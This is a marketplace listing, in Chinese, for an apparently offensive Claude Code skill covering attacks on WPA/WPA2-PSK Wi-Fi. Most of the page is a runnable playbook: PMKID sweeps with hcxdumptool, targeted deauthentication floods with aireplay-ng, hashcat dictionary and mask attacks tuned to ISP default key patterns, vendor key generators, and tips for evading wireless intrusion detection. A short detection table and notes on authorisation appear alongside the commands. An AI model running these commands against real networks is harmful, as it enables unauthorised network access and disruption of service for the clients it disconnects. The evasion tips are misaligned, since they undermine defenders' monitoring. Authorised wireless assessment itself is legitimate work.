mcpField
O
offensive-wpa2-psk

offensive-wpa2-psk

github.com/snailsploit安全9.7k174 次安装2 周前更新
代码仓库

关于 offensive-wpa2-psk

面向无线安全测试人员的 WPA/WPA2-PSK 测试指南,说明如何捕获 PMKID 或四次握手、转换为可破解格式并离线验证密码,也涵盖检测信号。

主要功能

  1. 01优先尝试 PMKID 捕获
  2. 02捕获并验证四次握手
  3. 03转换为 hashcat 格式并离线破解
  4. 04使用字典、规则和掩码测试
  5. 05说明检测信号与降低噪声的方法

适用场景

  1. 01在授权评估中检查 Wi-Fi PSK 强度
  2. 02对目标接入点捕获并验证握手材料
  3. 03使用字典或掩码离线测试候选密码

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-wpa2-psk

安装后在 Claude Code 中输入/offensive-wpa2-psk确认已加载。

详细介绍

WPA/WPA2-PSK 攻击

几乎所有消费级和 SMB Wi-Fi 网络的默认模式。四次握手中的 PMKID 和 EAPOL 帧包含离线破解所需的一切信息——无需在线尝试、不会触发锁定,也不会留下检测信号,除了可以通过 PMKID 避开的解除认证操作。

快速工作流

  1. 确认目标 BSSID、信道和加密方式(参见 offensive-wifi-recon)
  2. 首先尝试 PMKID(速度快,无需与客户端交互)
  3. 如果未获取到 PMKID,则改为捕获四次握手
  4. 将捕获内容转换为 hashcat 兼容格式
  5. 使用合适的字典 + 规则 + 掩码进行离线破解

PMKID 攻击(可能时优先采用)

PMKID 包含在四次握手的第一条消息中。许多 AP 会在收到单个关联请求后泄露 PMKID——无需真实客户端。

# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US

# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 \
  --filterlist_ap=targets.txt --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

targets.txt 包含你获准攻击的 BSSID(每行一个)。

如果 hash.hc22000 为空,说明 AP 不会泄露 PMKID。请改用四次握手。

捕获四次握手

# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

如果有客户端已关联:

# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

airodump 右上角会显示握手,格式为 WPA handshake: AA:BB:CC:DD:EE:FF。

**为什么一次只针对一个客户端:**广播解除认证(不带 -c)很容易触发 WIDS,也更容易被发现。针对单个 MAC 发送一轮 5 次解除认证就足够了。

验证捕获内容

hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines

如果工具报告 M1/M2 配对,但没有正确的 EAPOL 身份验证,请重新捕获。错误或不完整的握手将无法破解。

破解

字典 + 规则
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule

实用字典:

  • rockyou.txt(经典字典)
  • weakpass_3 / weakpass_4(大型泄露数据集)
  • crackstation.txt
  • 定向字典:公司名称、产品、地点
常见默认模式的掩码攻击
# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h

# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
厂商默认值生成器

一些 ISP 路由器会使用已知算法,根据 SSID 前缀 + 序列号后缀生成 PSK:

# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -

# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
802.11r FT 破解

如果启用了 802.11r(快速切换),则可在有线侧捕获 AP 到 AP 的密钥传输,也可在漫游事件期间通过无线信号看到该传输。PMK 派生提供了另一种破解途径,使用相同的 hc22000 格式。

调整破解性能

# Show recommended workload tuning per GPU
hashcat -b -m 22000

# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000

机会性密钥缓存(OKC)

启用 OKC 时(WPA2-Enterprise 中也很常见),AP 会缓存之前成功关联时的 PMK,并在漫游时重复使用,从而绕过完整握手。从攻击者的角度来看,OKC 握手中仍包含相同的可恢复 PMK 材料;主要影响是无线信号中可见的 M1/M2 配对会更少。

检测注意事项

信号防御方视角
解除认证突发WIDS 规则:每秒解除认证次数超过 N,且原因代码格式错误
PMKID 洪泛(hcxdumptool 默认会发送许多关联请求)WIDS 规则:单个 MAC 发起快速连续的关联
监控模式接口某些企业级 WIDS 部署会对附近的监控无线电设备进行指纹识别

尽量降低影响:使用 --filtermode=2 进行 PMKID 攻击(仅针对授权列表中的目标),每次只发送一轮定向解除认证,并在不同捕获之间随机更换源 MAC。

渗透测试速查表

# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US

# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule

# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon

# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule

# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

关键参考资料

评论

支持 Markdown